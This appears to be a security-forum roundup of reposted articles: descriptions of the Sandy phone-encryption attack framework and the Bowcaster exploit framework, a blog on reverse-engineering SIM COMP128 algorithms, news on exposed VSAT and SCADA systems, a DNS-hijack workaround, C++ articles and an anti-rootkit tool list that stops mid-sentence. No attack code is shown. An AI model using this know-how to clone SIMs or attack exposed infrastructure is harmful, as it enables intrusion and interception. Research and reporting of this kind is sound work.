sandy Copyright 2013 Sandy Written by: Laszlo Toth, Ferenc Spala Description Sandy is an open-source Samsung phone encryption assessment framework. Sandy has different modules that allow you to carry out different attack scenarios against encrypted Samsung phones. For the details check our Derbycon 3.0 presentation (What’s common in Oracle and Samsung? They tried to think differently about crypto). Requirements It was developed with python 2.7. Most of the modules works on OSX. Every modules should work on Kali Linux. You need pexpect, pbkdf2 and pyCrypto pyhton modules. Usage main.py [-h] -p project_name The project_name parameter is important. All files will be created in the following form: [project_name]_filename under the results folder. This is how the different modules can find each other results on the same project. Disclaimer This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes. Please read the license (LICENSE) for the licensing of Sandy. Sursa: https://github.com/donctl/sandy

Bowcaster Exploit Development Framework This framework, implemented in Python, is intended to aid those developing exploits by providing useful set of tools and modules, such as payloads, encoders, connect-back servers, etc. Currently the framework is focused on the MIPS CPU architecture, but the design is intended to be modular enough to support arbitrary architectures. To install, run: python setup.py install Sursa: https://github.com/zcutlip/bowcaster

[h=3]Secrets of the SIM[/h] First project that I would like to share is regarding the SIM card's "secret" key derivation algorithm, the COMP128. I was requested to put together a small presentation about the old GSM system's security at my former employer. As I really hate presentations without any real hands on experience, I wanted to actually show the internal mechanisms of the SIM and the mobile phone as well as the base station's communication in the presentation so I did a "quick" search (took two days) about the current situation of GSM related software and tools available to a simple person, that can be used to put together something interesting. The results are a bit shocking... but in a good way I will describe the mobile phone and the BTS emulation part later, since all of the information about them can be found on the Internet already. To show the internal mechanisms of a SIM card as well as the communication between the SIM and the mobile phone, I found the following tools to be handy: 1. SimTrace This little hardware is awesome!!! It sniffs the communication between the SIM and the telephone and integrates into Wireshark with a normal dissector for parsing the raw data, so you are able to see what goes on the wire on-the-fly. 2. A programmable SIM card This programmable SIM can be used like a standard SIM but you can actually change the master key (Ki) used for key derivation. Also it can switch the used derivation algorithms (COMP128 v1/v2/v3), which is really handy. And that's it for tools. For the next step to put this part of the presentation together I had to refresh my memory about how the authentication and encryption is carried out in GSM. Wikipedia and Google is here to help as always. Security features in GSM in a nutshell: 1. Challenge-Response Authentication 2. Symmetric encryption (A5) The common secret is a 16 byte number stored in the SIM card and also it's stored at the respective mobile operator, it is called "Ki". Since the SIM is a smartcard, it is considered secure and we all hope that our mobile operator is storing it in a real secure way also . (otherwise every call and data could be decrypted if it falls in the wrong hands) GSM authentication 1. The base station sends a 16 byte random number RAND (I'm really curious if it's really random...) 2. The SIM card gets this RAND and uses the Ki (the secret number) to feed the A3A8 (other name is COMP128) algorithm. The output is a 12 byte long number, call it OUTPUT. 3. The OUTPUT is split into two parts, the upper 4 byte is called the SRES the lower 8 byte is the Kc. 4. The SRES will be sent back to the base station as the authentication response. ---- on the other end of the line, the mobile operator does that same algorithm, because he knows our key (Ki), he will calculate the SRES and the Kc. If the mobile operator's SRES matches the SRES we sent back, then we are authenticated on the network ----- 5. The Kc is sent to the mobile phone from the SIM card. It will be used as the encryption key for the A5 algorithm (not discussed here) Key derivation Using SIMTrace and Wireshark, we can see that the mobile phone sends only one command to the SIM card together with the RAND, and the card sends back the SRES+KC bytes. This can be observed in plain text The big question remained, that how does exactly the COMP128 algorithm work? After some searching I found that there are three versions of the COMP128, but only the first one could be found available for everyone. -------------------- A little history: after version 1 of the COMP128 got published it turned out that from observing the input and the output of the algorithm for several inputs, one can easily recover the secret key Ki. This means SIM card cloning! And also means, that if someone previously "checked" your sim card before you obtained it from the shop or from your company, he will know the secret key so if he manages to sniff your calls over the air, he will be able to decrypt the communication without much effort. So far only version 1 is known to be weak against this birthday-paradox based attack,and this is why it's not used any more (discontinued in 2002). Since version 2&3 have not been officially published (again I have not found any publication of it so far), excessive cryptanalysis probably have not been carried out on it (khmm.... just saying...) -------------------- It seems that version 2 and 3 has not been published yet, or I was looking on the wrong Google? So I kinda became frustrated that this presentation will be a bit incomplete, so I decided to dig a bit further. Luckily I "found" a test software used for SIM card compliance checks, which had the feature to check the version 2 & 3 of the algorithm also! Only one thing was left, reverse engineer the software to get to know the actual algorithm and then check against a valid implementation to be sure -remember the programmable SIM card I mentioned? . Using IDA I was able to recover the two algorithms from the software and implemented them to pure python. (Have I mentioned that I love Python?) It took some time, but I think it was a really good opportunity to learn a bit more about IDA The testing part almost took the same time as the reverse engineering, because the command to change the algorithm of the programmable SIM was not working as described in the documentation -if we can call that poorly written nothing documentation- (I'll post the working command but right now I don't know where I have put it) For this, I have written a small python script to load a key into the programmable SIM, generate 1024 random 16 byte long RAND number, then send it as the argument of the AUTH command, and store the response. (doing this to both v2 and v3 is like a little brute forcing huh?) Another script was responsible to cross check the results from the SIM with the result from the python script. No errors were found This however doesn't mean that my implementation of the COMP128v2 and v3 is perfect and completely following the standard (as this part of the standard is not published as far as I know), so please check it yourself and let me know the details. Some words about the COMP128. In v1 and v2 the last byte of the Kc was always 0x00, and the byte before the last was guessable -could only be 4 different value if I remember correctly, This means that the key used to encrypt your communication was weakened on purpose. In v3 this "limitation" was finally removed, but that doesn't help much to increase the security since the encryption algorithm used in GSM communication (A5) is officially broken. If you want security switch to 3G, the algorithms used for encryption and authentication there are public and so far there are not publicly known weakness in them (as far as I'm aware) I hope by sharing this algorithm I help everyone who wants to know how the SIM card works to get a better understanding. I was thinking about implementing this algorithm into a Java card thus creating programmable SIMs, or using it as a software emulated SIM solution to test some weaknesses in the GSM network but so far I have a lot of work to do, If someone will do this please drop me a mail Implementation and some test vectors -not a well defined test vector set I know-: comp128.7z Thank you for reading! p.s.: this is my first blog ever, suggestions how to do it better are always welcome Posted by Hacking Projects at 09:24 Sursa: Hacking Projects: Secrets of the SIM

Un subiect foarte interesant, voi scrie un tutorial complet despre prietenie.

Using Regular Expressions with Modern C++ Kenny Kerr “C++ is a language for developing and using elegant and efficient abstractions.” —Bjarne Stroustrup This quote from the creator of C++ really sums up what I love about the language. I get to develop elegant solutions to my problems by combining the language features and programming styles that I deem most suitable to the task. C++11 introduced a long list of features that are in themselves quite exciting, but if all you see is a list of isolated features, then you’re missing out. The combination of these features makes C++ into the powerhouse that many have grown to appreciate. I’m going to illustrate this point by showing you how to use regular expressions with modern C++. The C++11 standard introduced a powerful regular expression library, but if you use it in isolation—using a traditional C++ programming style—you might find it somewhat tiresome. Unfortunately, this is the way that most of the C++11 libraries tend to be introduced. However, there is some merit in such an approach. If you were looking for a concise example of using some new library, it would be rather overwhelming to be forced into comprehending a slew of new language features at the same time. Still, the combination of C++ language and library features really turns C++ into a productive programming language. Articol: Windows with C++ - Using Regular Expressions with Modern C++

Security researchers at IntelCrawler, a Los-Angeles based cyber intelligence company, discovered that VSAT terminals are opened for targeted cyber attacks. VSAT terminals (very-small-aperture terminal) used for satellite communications are vulnerable to external cyber attacks, the discovery was made by security researchers at IntelCrawler, a Los-Angeles based cyber intelligence company. The VSAT vulnerability appears serious and have a significant impact on distributed critical infrastructures and network environments. VSATs are most commonly used to transmit: narrowband data (a channel in which the bandwidth of the message does not significantly exceed the channel’s coherence bandwidth), typical applications are the transmission of payment transaction from point of sales, or transmission of data from/to SCADA systems. broadband data (a channel with wide bandwidth characteristics of a transmission medium and the ability to transport multiple signals and traffic types simultaneously), typical applications are the provision of satellite Internet access to remote locations, VoIP or video data transmissions. VSATs are also used for transportable, on-the-move (utilizing phased array antennas) or mobile maritime communications. VSAT statistics included in The Comsys VSAT report confirm that there are 2,931,534 active VSAT terminals in the world now, primarily in the industrial sector, such as energy, oil and gas, because the infrastructure is based on distributed environments located in different geographic locations. IntelCrawler has scanned the overall IPv4 address space to conduct intelligence analysis on the data retrieved. “We have scanned the whole IPv4 address space since 2010 and update the results in our Big Data intelligence database, including details about satellite operators network ranges, such as INMARSAT, Asia Broadcast Satellite, VSAT internet iDirect, Satellite HUB Pool, and can see some vulnerabilities,” states Dan Clements, IntelCrawler President. Within the huge amount of data collected by IntelCrawler there are also approximately 313 open UHP VSAT Terminals, 9045 open HUGHES Terminals, 1142 SatLink VSAT and many others . It is important for the network engineers and system administrators to self-assess and close or plug any possible exploits. VSAT devices are connected to many interesting devices all over the world, starting from Alaska climate metering systems to industrial control devices in Australia, and many work with the help of C, Ka, Ku and X-Band satellite ranges. IntelCrawler researchers have noted, many VSAT devices have telnet access with very poor password strength, many times using default factory settings. The fact that one can scan these devices globally and find holes is similar to credit card thieves in the early 2000?s just googleing the terms “order.txt” and finding merchant orders with live credit cards. The onus is on the enterprises, governments, and corporations to police themselves. An attack against those devices could have serious repercussion as explained by Dan Clements. “Intrusions to such open devices can allow you to monitor all the network traffic related to the exact device or host, sometimes with very sensitive information, which can lead to a compromise of the internal network,” – said Dan Clements, IntelCrawler’s President. Some of the VSATs are readily visible in Google maps and Google Earth. Again, system administrators should assess the physical security to these locations and make sure all is secure. Satellite network ranges have lots of interesting objects, including government and classified communications. For example, during some research IntelCrawler found Ministry of Civil Affairs of China infrastructure in the ranges belonging to Shanghai VSAT Network Systems Co. LTD, and Ministry of Foreign Affairs of Turkey in Turksat VSAT Services, which is a clear and present danger for hacks. About IntelCrawler IntelCrawler.com is a multi-tier intelligence aggregator, which gathers information and cyber prints from a starting big data pool of over 3, 000, 000, 000 IPv4 and over 200, 000, 000 domain names, which are scanned for analytics and dissemination to drill down to a desired result. This finite pool of cyber prints is then narrowed further by comparing it to various databases and forum intelligence gathered from the underground and networked security company contacts. The final result could be the location of a particular keyboard or a computer housing the threat. Pierluigi Paganini (Security Affairs – VSAT, hacking) Sursa: VSAT terminals are opened for targeted cyber attacks

An overview on smart pointers 2014-01-10 11:20 by Jens Weller My last blog post in 2013 was about the pointer in C++, and how most of its daily usages in C++ is now being replaced by classes replacing or managing the pointer. The last case, the RAII like objects called smart pointers is the topic of this post. I want to give an overview over the choices one can make when using smart pointers. As I studied last year boost, Qt and wxWidgets closer, I saw, that all of them have their own implementations of smart pointers. Also, C++11 brings its own set of two classes of smart pointers. So, with C++11, smart pointers have arrived in the standard, and everyone using C++11 automaticly has 2 different good options for managing memory allocated with new. Should you use smart pointers? I think its good to discuss this point first, when you should use smart pointers, and when not. Smart pointers are only useful when used with new, or the corresponding make functions (make_shared and make_unique in C++14 f.e.). So, a smart pointer is only needed, when you use new or other means of dynamic memory allocation. In my opinion, you should prefer to allocate variables on the stack, so when refactoring code (to C++11), you should always ask yourself, if this new is needed, or could be replaced with an object on the stack. When you need to use new, you should always use a smart pointer in my opinion. Also some smart pointers offer a custom deleter, which is handy if you have an object that is either not allocated by new and/or needs to be freed by calling a special function. A (not so) short overview on smart pointers As mentioned, with C++11 two new classes came to the C++ Standard, introducing shared_ptr and uniqe_ptr for the means of managing memory allocated with new. Previously there has been std::auto_ptr in the standard, which is now deprecated. The idea to use smart pointers is at least 20 years old, as the documentation of boosts Smart Ptr Library shows. Also boost has been the go to place for smart pointers before C++11, and for example wxWidgets has copied their Smart Pointer version from boost in 2009. Lets compare some of the implementations: [TABLE=class: schedule] [TR] [TD]Name[/TD] [TD]copyable[/TD] [TD]moveable[/TD] [TD]custom deleter[/TD] [TD]can release ownership[/TD] [TD]comment[/TD] [/TR] [TR] [TD]std::unique_ptr[/TD] [TD]no[/TD] [TD]yes[/TD] [TD]yes (by policy)[/TD] [TD]yes[/TD] [TD][/TD] [/TR] [TR] [TD]std::shared_ptr[/TD] [TD]yes[/TD] [TD]yes[/TD] [TD]yes[/TD] [TD]no[/TD] [TD][/TD] [/TR] [TR] [TD]boost::scoped_ptr[/TD] [TD]no[/TD] [TD]no[/TD] [TD]no[/TD] [TD]no[/TD] [TD][/TD] [/TR] [TR] [TD]boost::shared_ptr[/TD] [TD]yes[/TD] [TD]yes[/TD] [TD]yes[/TD] [TD]no[/TD] [TD][/TD] [/TR] [TR] [TD]QScopedPointer[/TD] [TD]no[/TD] [TD]no[/TD] [TD]yes[/TD] [TD]yes[/TD] [TD][/TD] [/TR] [TR] [TD]QSharedPointer[/TD] [TD]yes[/TD] [TD]no[/TD] [TD]yes[/TD] [TD]no[/TD] [TD][/TD] [/TR] [TR] [TD]wxScopedPtr[/TD] [TD]no[/TD] [TD]no[/TD] [TD]no[/TD] [TD]yes[/TD] [TD][/TD] [/TR] [TR] [TD]wxSharedPtr[/TD] [TD]yes[/TD] [TD]no (C++03)[/TD] [TD]yes[/TD] [TD]no[/TD] [TD][/TD] [/TR] [TR] [TD]poco::AutoPtr[/TD] [TD]yes[/TD] [TD]no (C++03)[/TD] [TD]no[/TD] [TD]no[/TD] [TD]A certain interface must be provided by T.[/TD] [/TR] [TR] [TD]poco::SharedPtr[/TD] [TD]yes[/TD] [TD]no (C++03)[/TD] [TD]yes (by policy)[/TD] [TD]no[/TD] [TD][/TD] [/TR] [TR] [TD]dlib::scopted_ptr[/TD] [TD]no[/TD] [TD]no[/TD] [TD]yes[/TD] [TD]no[/TD] [TD][/TD] [/TR] [TR] [TD]dlib::shared_ptr[/TD] [TD]yes[/TD] [TD]no (C++03)[/TD] [TD]no[/TD] [TD]no[/TD] [TD]not threadsafe[/TD] [/TR] [TR] [TD]dlib::shared_ptr_thread_safe[/TD] [TD]yes[/TD] [TD]no (C++03)[/TD] [TD]no[/TD] [TD]no[/TD] [TD]threadsafe[/TD] [/TR] [TR] [TD]ACE::Value_Ptr[/TD] [TD]yes (but copies the pointee)[/TD] [TD]no (C++03)[/TD] [TD]no[/TD] [TD]no[/TD] [TD][/TD] [/TR] [TR] [TD]Glib::RefPtr[/TD] [TD]yes[/TD] [TD]no[/TD] [TD]no[/TD] [TD]no[/TD] [TD][/TD] [/TR] [TR] [TD]Loki::SmartPtr[/TD] [TD]yes per default[/TD] [TD]maybe over policies, else no[/TD] [TD]no[/TD] [TD]no[/TD] [TD] mostly policy based, very flexible[/TD] [/TR] [TR] [TD]Loki::StrongPtr[/TD] [TD]yes per default[/TD] [TD]see above[/TD] [TD]yes[/TD] [TD]no[/TD] [TD] see above and Lokis Smart Pointer Page[/TD] [/TR] [/TABLE] A few words on this table. Most all libraries have implemented smart pointers way before C++11, so move constructors are not implemented and move behavior in general is not documented. Shared classes do share the pointer through different instances through RefCounting. I do have experience with using the standard version, boost, Qt and wxWidgets, the other data is taken from the documentation of those libraries. I think that is enough for a first overview. Many other libraries probably have written their own versions, some even might have oriented their solution on boosts Smart Ptr library as wxWidgets did, and also the C++11 smart pointers have their roots in the boost versions. I didn't list platform or library specific smart pointers (except poco::AutoPtr). Also some older libraries model std::auto_ptr. A special case is the smart pointer implementation from loki, as its very versatile and can be configured via policy based design. Per default its shared, but you can create/use a non shared policy. So, smart pointers can be classified into (mainly) 4 categories: scoped/unique shared (Refcounting usually) intrusive / interfacebased framework specific Scoped and unique smartpointers This is the most common class, and in my opinion also the sort of smart pointer you should mostly use, and only if your specific use case REALLY breaks the case for this type, think about using any of the other types. The scoped pointer ensures, that an allocated object is destroyed when its scope ends. Interestingly Poco seems to lack this type of smart pointer. A special case is std::unique_ptr, as it does not have the same behavoir as the scoped pointers. It is allowed to escape its scope through a move. This makes it possible to have a container of unique_ptr, or f.e. a factory returning them, also C++14 will add make_unique. With the addition of make_unique in C++14 also the use of new (and also delete) is handled in the background. So the need for directly using new and delete is (mostly) gone. Non owning pointers to scope or unique pointeres still need to be raw pointers. There is a proposal called exempt_ptr, which could take this role. Shared smart pointers Some times you need the ability to share a pointer between classes and objects, and so smart pointers have a shared type, which ensures through refcounting, that the held pointer stays valid till the last instance is destroyed. So each time a copy of the first shared pointer is destroyed, the refcount goes down, if it ever reaches 0 the object is destroyed. Ever? Yes. That is one of the problems with this implementation, there can occur a cyclic dependency, that prevents one or more smart pointers from ever being destroyed. For example if you would model a parent child relation with two shared pointers. This is why (most) shared pointer implementations today also bring a weak_ptr, which can be converted into a shared pointer when needed. The weak_ptr only holds a weak link to the original object. This is usually with two counters implemented, one for strong references (e.g. actual copies) and one for weak pointer objects. The allocation of the actual object can be a bit special with shared pointers, as also the variable for refcounting should be allocated on the heap. This is a very good use case for placement new, as it allows to only have one call to new allocating the space for the counters and the actual object. This is only possible if its done in a make_shared like function, not inside of a constructor from a shared pointer type. Interestingly I'm only aware of std::make_shared and boost::make_shared, the other shared pointer implementations don't mention special make functions. But shared pointers are only good in a few places. You should be aware, that this is more or less a globally shared variable, most implementations are not threadsafe for accessing the held pointer, some might not even have threadsafe reference counting. Only using a shared_ptr<const T> should be viewed as safe, as it only shares a const object which can not be altered. Also const methods are thread safe in C++. Intrusive / Interface based smart pointers I didn't list boost::intrusive pointer, and some other frameworks have similar solutions. Also poco::AutoPtr belongs into this class. This class usually holds a pointer which has some internal mechanism for refcounting. It can be used for interfacing with COM or other APIs and c libraries. Also some frameworks offer interfaces which you need to implement for a certain type in order to use the smart pointer interface. This is usually a function/method for incrementing and decrementing, and maybe release. Framework specific (smart) pointer classes There do exist a few smart pointer classes which are framework specific. For example QPointer is designed to hold a QObject derived instance, it does not call delete when it is destroyed, but when the QObject is destroyed it will no longer point to it. Also Qt offers QSharedDataPointer, a shared pointer which allows implicit sharing, in order to use QSharedPointer you have to derive from QSharedData. Also CComPtr from the ATL can be seen either as an intrusive variant or a framework specific smart pointer. Refactoring towards smart pointer usage So, now where an overview is given, and also a little bit about the correct usage is written, I'd like to focus on refactoring. There is a lot of code which currently does not use smart pointers. Even newly written SDKs some times do not use them, but mostly use delete correctly. One of the advantages of smart pointers is, that they ensure due to RAII, that the actual object is deleted. When using a raw pointer, you need to have a delete for every possible exit point, and still an exception will lead to a memory leak. Smart pointers will also free the memory if an exception occurs. I'd like to share a little story for this. A few years ago there was an SDK for a certain mobile platform released, and as OO code, there was a need to use new on all kinds of objects. I was interested in writing apps for this platform, so I visited a public event for app developers for this SDK. I even got a phone! After the event there was some socializing, and I got to talk to a person belonging to the devteam for the C++ API. I asked him why they didn't use smart pointers, instead of letting the users produce all kind of memleaks on their platform. The answer was "What are smart pointers?" So, it turns out, they used C++, and never had heard about smart pointers. So, lets say, for our industry, smart pointers are not standard, and there is some amount of code that needs refactoring. You have to be very careful in refactoring a simple pointer into a smart pointer. Memberpointers within a class usually can be converted, but you have to find out if you can make the pointer a unique/scoped pointer, or if it is shared amongst different objects, requiring to make it a shared pointer. Use features of your IDE like show all usages, to see if and how you can convert a simple pointer to a smart pointer. Some pointers are just non owning pointers, this is fine if the pointer it self is either pointing to an non-newed object or one held in a unique or scoped pointer. Shared pointers usually have a weak pointer type for this usage. With scoped pointers in (member)functions you have to be a bit more careful. I've seen last year a very hard to find problem with this. Turning a new allocation in a larger function into a scoped ptr did not result into a crash, when the program was still accessing the value. Instead it seemed to work just fine for some time, and things did not even crash, the application was just showing weird values. Interestingly this triggered far earlier in debug mode. Also, a scoped pointer can not be returned from a factory function, but unique_ptr can use move semantics. Custom deleters & smart arrays The above table shows, that some smart pointer classes offer custom deleters, and some do not. Also boost does not support this feature for scoped_ptr. Maybe because you easily could implement this for yourself, simply a class wrapping a pointer to T and doing the correct thing in the destructor. This class then can be directly used on the stack or be wrapped into a shared smart pointer. A special case are arrays allocated with new[]. boost has its own classes for this (scoped_array and shared_array), also boost::shared_ptr has traits to detect array usage, and correctly free it with delete [] instead of delete. Smart pointers that have a custom deleter can be used with smart arrays and an array deleter. So which smart pointer should you prefer? As I already wrote, use the stack if possible, and if you need a smart pointer its simply: std::unique_ptr or a Scoped Ptr > shared pointer > intrusive pointer > framework specific pointer classes This leaves the question, which implementation you should favor using. And I think, that is something which has to be decided on the local needs of the code you use. For libraries I think that the standard implementations are good, but that if you need backwards compatibility to < C++11, boost is as good. But, if you already use a framework such as Qt or wxWidgets, you also can use their implementations. For shared smart pointers you always should prefer to call the make_shared function (if the implementation offers one), the standard offers with C++14 also for unique_ptr a make_unique function. Disadvantages of smart pointers There two things which can be seen as disadvantages, actually its only one little overhead and one issue with the standardization of smart pointers. First, with C++11, smart pointers (and some other nice things) are now part of the standard, before C++11 this was a very good argument to use boost. I think that boost has many other advantages, but smart pointers are a good door opener, especially in more restricted areas, where you have to get libraries or frameworks approved before using them. Second, there is a little overhead. Shared pointers add usually two counting variables to the memory needs of your class, while unique_ptr is just a wrapper. This is a tiny overhead in memory usage, which is largely outperformed by the security smart pointers offer. Only a few embedded devices should not be able to afford this little overhead. Also the little overhead in allocation should be fine for most applications, if you're application is speed critical, you might want to measure if smart pointers have any impact to your system. Go back © 2014 Code Node Ltd. All rights reserved. Sursa: An overview on smart pointers - Meeting C++

[h=1]UK's Ministry of Defence funds "hacker culture" research[/h]he UK's Ministry of Defence (MoD) is doling out millions of dollars for research pertaining to hacker culture and the impact social media has in moments of crises. Over the past five years, the MoD's Defence Science and Technology Laboratory has funded multiple PhD projects, and this year awarded more than $100,000 toward research on the rise of digital insurgency, according to The Telegraph. The study will analyze hacker collective Anonymous in order to understand the group's goals and what entices potential members to join. Additionally, the MoD gave students a grant to look at the influence online and offline behavior has on users' social network identities. The PhD candidates hope to determine the role these platforms have on events such as the Arab Spring. Since the funding first began, more than $1.4 million has been awarded. Sursa: UK's Ministry of Defence funds "hacker culture" research - SC Magazine

Bypassing a DNS man-in-the-middle attack against Google Drive Boston to New York City is a frequently traveled route, so a number of different bus lines provide service between the cities. Most offer free WiFi as an amenity. However, all WiFi is not created equal. Today I was traveling by the Go Bus, and I assumed I’d be able to do some work on the bus. I needed to access a document on Google Drive. However, when I tried to open Drive, I was greeted with this sight. I use OpenDNS instead of relying on my ISP’s DNS servers, and I figured that there was some error on OpenDNS’s end. So, I changed my /etc/resolv.conf to use the Google DNS servers, figuring that that would work. No luck. At this point, I realized that the bus network must be hijacking traffic on port 53, which was easy to test. dig gave me the following output: Visiting 67.215.65.130 directly gives the following page. Saucon TDS uses OpenDNS for DNS lookups, but they redirect undesired lookups to their block page. I confirmed this by asking my neighbor across the aisle to visit drive.google.com - he happened to be using Safari, which gave him a 404-eque page instead of the big red error message that Chrome gave, but that was enough for me to confirm that the bus was, indeed, hijacking traffic on Port 53. But how to fix it? The correct IP address for drive.google.com is actually 74.125.228.1 (ironically, I looked this up using OpenDNS: CacheCheck | OpenDNS). However, entering that IP address into your browser will give you the Google homepage, because unlike most sites, their servers check the hostname (the same is true for all Google subdomains). The fix is actually rather simple - add 74.125.228.1 to /etc/hosts. This will skip the DNS lookup altogether, but the browser will still think that you’re going to drive.google.com “normally” (in a way, you are). I write this post to illustrate how easy it is to get around this kind of traffic shaping, for anybody else who has the misfortune of running into this problem. On principle, supporters of net neutrality oppose traffic blocks based on content (instead of volume). However, Go Bus and Saucon TDS are not simply blocking traffic - they are hijacking it. My DNS queries are made to a third party, and yet they decide to redirect them to their own DNS servers anyway. From a user perspective, this is incredibly rude. From a security perspective, it’s downright malicious. I let them know over Twitter, though I haven’t received a response yet. Other than using a VPN (which would have required advance preparation on my part), is there a long-term solution to authenticating DNS queries? Some people advocate DNSSEC. On the other hand, Tom Tpacek (tptacek), whom I tend to trust on other security matters, strongly opposes it and recommends DNSCurve instead. In the meantime, let’s hope that providers treat customers with respect, and stop this malicious behavior. Sursa: /var/null - Bypassing a DNS man-in-the-middle attack against Google Drive

5 Video Tutorial Playlists On Assembly Programming! [TABLE] [TR] [TD]Tuesday, December 03, 2013: Looking for video tutorials on Assembly Programming? Seek no more as we bring to you 5 awesome playlists with over 100 videos on different aspects of assembly programming. So pull up your socks and set yourself to get pro in assembly. [/TD] [TD][/TD] [/TR] [/TABLE] 1. SolidusCode - Assembly Language Programming Tutorial https://www.youtube.com/watch?feature=player_embedded&v=ofVFSQguVNI&list=PLF5351B80A7005FA1 Slowly graduating from begging to pro lever of tutorials, this is a series by Solidus Code. 2. Assembly Language Programming Video Course - Hitesh Kumar https://www.youtube.com/watch?feature=player_embedded&v=1p6LfUkWPKI&list=PL4C2714CB525C3CD7 A well explained and elaborated series on assembly programming by Hitesh Kumar. 3. Assembly Language Tutorial - Debojyoti Majumder https://www.youtube.com/watch?feature=player_embedded&v=4VNgd3WM95E&list=PL24A96ADA54E75109 One of the best tutorial collections available online, which has been quoted by quite a many websites. The tutorials end up giving you a fair idea of assembly language. The tutorials start with the theoretical and graduates to the inside of coding. 4. Assembly Language Programming - Rasim Muratovic https://www.youtube.com/watch?feature=player_embedded&v=vtWKlgEi9js&list=PLPedo-T7QiNsIji329HyTzbKBuCAHwNFC This series by Rasim Muratovic is a collection of 38 videos tutorials on Assembly programming. 5. Assembly Language Primer for Hackers – eduprey1 https://www.youtube.com/watch?v=K0g-twyhmQ4&feature=player_embedded&list=PLue5IPmkmZ-P1pDbF3vSQtuNquX0SZHpB The series consists is a of 11 videos and the total tutorials lasts for 3 hours 22 minutes. Atithya Amaresh, EFYTIMES News Network Sursa: 5 Video Tutorial Playlists On Assembly Programming!

Hackers gain 'full control' of critical SCADA systems By Darren Pauli on Jan 10, 2014 10:06 AM (3 days ago) Over 60,000 exposed control systems found online. Researchers have found vulnerabilities in industrial control systems that they say grant full control of systems running energy, chemical and transportation systems. The vulnerabilities were discovered by Russian researchers who over the last year probed popular and high-end ICS and supervisory control and data acquisition (SCADA) systems used to control everything from home solar panel installations to critical national infrastructure. Positive Research chief technology officer Sergey Gordeychik and consultant Gleb Gritsai detailed vulnerabilities in Siemens WinCC software which was used in industrial control systems including Iran's Natanz nuclear plant that was targeted by the US Stuxnet program. "We don’t have big experience in nuclear industry, but for energy, oil and gas, chemical and transportation sectors during our assessments project we demonstrated to owners how to get full control [of] industrial infrastructure with all the attendant risks," Gordeychik told SC Magazine. The vulnerabilities existed in the way passwords were encrypted and stored in the software's Project database and allowed attackers to gain full access to Programmable Logic Controllers (PLCs) using attacks described as dangerous and easy to launch. A vulnerability was also found in cloud SCADA platform Daq Connect which allowed attackers running a demonstration kiosk to access other customer installations. The vendor told the researchers who reported the flaw to simply 'not do' the attacks. The researchers published an updated version of a password-cracking tool that targeted the vulnerability in Siemens PLC S-300 devices as part of the SCADA Strangelove project at the Chaos Communications Conference in Berlin. They also published a cheat sheet to help researchers identify nearly 600 ICS, PLC and SCADA systems. SCADA Strangelove had identified more than 150 zero day vulnerabilities of varying degrees of severity affecting ICSes, PLCs and SCADA systems. Of those, 31 percent were less severe cross site scripting vulnerabilities and five percent were dangerous remote code execution holes. The latter vulnerabilities were notably dangerous because most of the affected systems lacked defences such as Address Space Layer Randomisation and Data Execution Prevention designed to make exploitation more difficult. But it wasn't just industrial systems that were affected; the researchers found some 60,000 ICS devices -- many which were home systems -- exposed to the public internet and at risk of attack. The most prevalent vendors were Tridium, NRG Systems and Lantronix while the most common devices to be crawled using search engines were the Windcube solar smartgrid system, the IPC CHIP embedded device, and the Lantronix SLS video capture platform. The researchers reported exposed devices to various computer emergency response teams and watchdog groups including the European infosec agency ENSIA. Patched The findings follow the discovery of separate serious vulnerabilities in Siemens industrial ethernet switches that allowed attackers to run administrative tasks and hijack web sessions. Siemens released patches overnight to address the flaws in its SCALANCE X-200 switches that were quietly reported by researchers at security firm IOActive. The flaws related to a lack of entropy in random number generators used in the switches. Researcher Eireann Leverett praised Siemens for its rapid response to fix the flaws. Copyright © iTnews.com.au . All rights reserved. Sursa: http://www.itnews.com.au/News/369200,hackers-gain-full-control-of-critical-scada-systems.aspx

“Advanced” Anti-Rootkit Tool List - Mostly Modern By request comment from Anonymous…out of my Anti-Malware Response “Go-Kit” post. When getting this post organized and reviewing the tools I still have tucked away in my USB collection, it turns out that many, many of them are outdated, haven’t been updated in many years, and quite probably will not work on either more “modern” Windows OS versions like Vista/Win7/Win8 nor detect newer variants of root-kit/boot-kit attacks. Many of the original source pages they came from are now HTTP 404. That doesn’t bode well for their continued usage even if you can find an old binary pack tucked away on a download archive. So, just because tool is listed here is absolutely no guarantee that it will work on your system or even detect a threat if it is there. Some of these tools are “detect and remove” types and others are more like advanced utilities that can be used to hunt for indication of hidden or masked processes and system hooks that could be indications of infection…but then leave it up to you to decide if they are a threat and to remove them yourself. While scan-and-remove tools are “easy” the second type are more helpful as you can better identify and collect data on what is going on for reference and sharing with the threat detection community. AND…as we have learned (DEITYBOUNCE: NSA Exploit of the Day - SANS ISC) advanced threat persistence can be neigh impossible to shake off short of scrapping all your hardware and starting fresh…if you can even trust your new hardware. That said, I did find a few “new-to-me” tools and have listed them here. SO…I go back to my best-available solution…secure-wipe the drive(s)…zero those sectors out…then do a fresh reinstall using known-good install files, and bring the system up to a fully-patched and updated state before saying “Done!” And be sure to multi-scan any and all user-data and files you have backed up/recovered off the drive(s) before you put them back. Cross-contamination is a real pain…both on PC’s and kitchen surfaces. Older GrandStreamDreams blog posts for way-back reference. Note, if you are really curious you can find many more “expired” AntiRootkit tools in these posts if you are really interested. I’ve left most all of them out of this post for reasons as stated above. grand stream dreams: Anti-Rootkit Tools Roundup Revisited - January 2008 post listing AR tools. grand stream dreams: Rootkit Storm and Solutions - January 2007 post. grand stream dreams: Windows Rootkit Detectors - July 2006 post. “Advanced” Antirootkit tools - listed in semi-alphabetical order aswMBR - Avast’s MBR rootkit scanner version 0.9.9. AVG PC Rescue and Repair Toolkit - bootable CD provided by AVG that covers both malware & rootkit attack remediation. Version of posting is 120.130801. Offered in ISO (for CD burning), and RAR/ZIP versions for USB stick AVG Free Bootkit Removal Tool - Rootkit specific tool. Download the “rmbootkit.exe” binary and run it on the system. Version details at time of post report V1.2.0.862. Avira Rescue System - bootable CD version along with documentation files. As of this post binaries dated Dec 2, 2013 so it’s very fresh. BitDefender Labs - Rootkit Remover - comes in both x86 and x64 bit versions. Looks for rootkits and bootkits per theFAQ. Been out a while…version 3.0.2.1 as of time of posting. Comodo Rescue Disk for Windows - bootable CD that can look for and remove detected rootkits and has a feature to download latest signatures before execution to ensure it remains current on detection ability. Supports Windows OS from XP though Windows 8 builds. F-Secure Blacklight Rootkit Eliminator - link via BleepingComputer - Current version as offered via the BleepingComputer page seems to be 2.2.1092.0. When ran on a “modern” Windows OS, it needs Administrator level access and complains about known compatibility problems and then exits without running. Probably still 